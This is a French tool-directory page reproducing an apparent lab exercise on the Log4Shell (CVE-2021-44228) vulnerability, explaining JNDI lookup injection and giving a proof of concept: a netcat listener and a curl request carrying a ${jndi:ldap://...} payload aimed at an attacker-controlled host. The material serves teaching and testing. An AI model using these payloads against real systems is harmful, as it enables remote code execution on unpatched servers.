Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4j_CVE-2021-44228 — Exercice pratique de laboratoire pour exploiter Log4Shell (CVE-2021-44228) avec injection JNDI, serveurs de référence LDAP et charges utiles de shell inversé. Inclut la détection, les techniques de contournement et les conseils de post-exploitation. | Kitploit
Outils/GitHubGitHub/muhammad-ali007/log4j_cve-2021-44228
Analyse des VulnérabilitésExploitationPost-ExploitationContournement de WAFTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubmuhammad-ali007/log4j_cve-2021-44228

Log4j_CVE-2021-44228

Exercice pratique de laboratoire pour exploiter Log4Shell (CVE-2021-44228) avec injection JNDI, serveurs de référence LDAP et charges utiles de shell inversé. Inclut la détection, les techniques de contournement et les conseils de post-exploitation.

Voir le dépôt
19il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

La vulnérabilité Log4j, également connue sous le nom de « Log4Shell » ou « CVE-2021-44228 », est une faille de sécurité critique dans la bibliothèque Apache Log4j. Log4j est un framework de journalisation basé sur Java, très largement utilisé, qui permet aux développeurs d'envoyer des messages de journalisation d'applications vers diverses destinations, comme des fichiers, des bases de données ou des sorties console.

La vulnérabilité a été découverte en décembre 2021 et a suscité une attention considérable en raison de sa gravité et de son potentiel d'exploitation. Elle affecte les versions 2.x de Log4j et, dans certains cas, même les versions antérieures. La vulnérabilité Log4j est une vulnérabilité d'exécution de code à distance (RCE), ce qui signifie qu'un attaquant peut exécuter du code arbitraire sur un système cible en exploitant la faille. Elle est causée par un défaut de conception dans la bibliothèque Log4j lié au traitement des messages de journalisation contenant des données spécialement conçues.

L'exploitation de la vulnérabilité repose sur la capacité d'injecter du code malveillant dans le message de journalisation. Cela peut se faire par divers vecteurs, tels que des champs de saisie contrôlés par l'utilisateur, des en-têtes de requêtes HTTP ou d'autres données fournies par l'utilisateur qui sont transmises à l'instruction de journalisation.

Lorsqu'une application vulnérable traite un message de journalisation contenant ces données spécialement conçues, Log4j interprète ces données comme une recherche JNDI (Java Naming and Directory Interface). En exploitant ce comportement, un attaquant peut élaborer une charge utile qui déclenche une recherche JNDI vers un serveur malveillant contrôlé par l'attaquant. Ce serveur peut alors répondre avec une charge utile qui est exécutée sur le système cible, permettant ainsi à l'attaquant de réaliser une exécution de code à distance.

L'impact de la vulnérabilité Log4j est sévère car Log4j est largement utilisé dans diverses applications basées sur Java, notamment les serveurs web, les applications et les services cloud. La vulnérabilité permet aux attaquants d'obtenir un accès non autorisé aux systèmes concernés, ce qui peut potentiellement conduire à des violations de données, au compromission du système et à une exploitation plus poussée de l'environnement compromis.

Aujourd'hui, la version 2.16.0 de log4j est disponible et corrige cette vulnérabilité (JNDI est entièrement désactivé, la prise en charge des Message Lookups est supprimée, et la nouvelle vulnérabilité DoS CVE-2021-45046 n'est pas présente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

Cependant, le danger immense de cette vulnérabilité vient du caractère omniprésent du paquet de journalisation. Des millions d'applications ainsi que des fournisseurs de logiciels utilisent ce paquet comme dépendance dans leur propre code. Bien que vous puissiez corriger votre propre base de code utilisant log4j, d'autres éditeurs et fabricants devront toujours pousser leurs propres mises à jour de sécurité en aval. De nombreux chercheurs en sécurité ont comparé cette vulnérabilité à Shellshock en raison de son immense surface d'attaque. Nous verrons cette vulnérabilité pendant des années encore.

Pour une liste croissante, soutenue par la communauté, de logiciels et de services vulnérables à CVE-2021-44228, consultez ce dépôt GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)

Bien qu'il existe de nombreux autres articles, blogs, ressources et supports pédagogiques autour de CVE-2021-44228, je (l'auteur de cet exercice) suis particulièrement attaché à ceux-ci :

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://log4shell.huntress.com/
  • https://www.youtube.com/watch?v=7qoPDq41xhQ

Le paquet log4j ajoute une logique supplémentaire aux journaux en « analysant » les entrées, afin d'enrichir les données — mais il peut également entreprendre des actions et même évaluer du code en fonction des données de l'entrée. C'est l'essentiel de CVE-2021-44228. D'autres syntaxes peuvent en réalité être exécutées telles qu'elles sont saisies dans les fichiers journaux. Quelques exemples de cette syntaxe sont :

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

Vous connaissez peut-être déjà la charge utile générale permettant d'abuser de cette vulnérabilité log4j. Le format de la syntaxe habituelle qui l'exploite ressemble à ceci :

  • ${jndi:ldap://ATTACKERCONTROLLEDHOST}

Cette syntaxe indique que log4j invoquera des fonctionnalités de « JNDI », ou « Java Naming and Directory Interface ». En fin de compte, cela peut être utilisé pour accéder à des ressources externes, ou « références », ce qui est précisément ce qui est utilisé comme arme dans cette attaque.

Remarquez le schéma « ldap:// ». Cela indique que la cible contactera un point de terminaison (un emplacement contrôlé par l'attaquant, dans le cas de cette attaque) via le protocole LDAP. Par souci de concision, nous n'avons pas besoin de couvrir ici tous les détails de LDAP, mais sachez que c'est quelque chose avec lequel nous devrons travailler lorsque nous affinerons notre attaque. Pour l'instant, sachez que la cible établira en effet une connexion vers un emplacement externe. Cela est indiqué par l'espace réservé ATTACKERCONTROLLEDHOST dans la syntaxe ci-dessus. Vous, en tant qu'attaquant dans ce scénario, pouvez héberger un simple auditeur pour visualiser cette connexion.

La question suivante est : où pouvons-nous saisir cette syntaxe ? Partout où des données sont journalisées par l'application.

C'est le cœur de cette vulnérabilité. Malheureusement, il est très difficile de déterminer où se trouve la surface d'attaque pour différentes applications et, par conséquent, quelles applications sont réellement vulnérables. Le simple fait de voir la présence de fichiers log4j ne renseigne pas sur le numéro de version exact, ni même sur l'endroit ou la manière dont l'application pourrait utiliser le paquet.

Autres endroits où vous pouvez fournir cette syntaxe JNDI :

  • Boîtes de saisie, formulaires de connexion utilisateur/mot de passe, points de saisie de données dans les applications
  • En-têtes HTTP tels que User-Agent, X-Forwarded-For, ou d'autres en-têtes personnalisables
  • Tout endroit où des données fournies par l'utilisateur sont acceptées

Si vous souhaitez plus d'informations sur ce vecteur d'attaque JNDI, veuillez consulter cette présentation Black Hat USA de 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

  • Pour préparer votre environnement afin de tester la vulnérabilité et de recevoir une connexion, visualisez votre propre adresse IP de machine d'attaque avec la commande suivante : user@host$ ip addr show
  • Préparez un auditeur netcat sur le port de votre choix (9999 est un bon exemple) : user@host$ nc -lnvp 9999
  • Maintenant que votre auditeur est en place, effectuez une requête incluant cette syntaxe de charge utile JNDI primitive dans les paramètres HTTP. Cela peut facilement être fait avec l'utilitaire en ligne de commande curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' Remarque : en raison de l'utilisation du caractère dollar $ dans votre syntaxe, vous devez vous assurer d'entourer l'URL de guillemets simples afin que bash (votre interpréteur de commandes) ne l'interprète pas comme une variable. De plus, vous devez échapper les accolades { } avec un seul caractère antislash, afin qu'elles ne soient pas mal interprétées dans les arguments de la commande curl.
  • Vérifiez que vous avez reçu une connexion en voyant le message suivant dans votre auditeur netcat : Connection received from <x.x.x.x>
Télécharger l’outil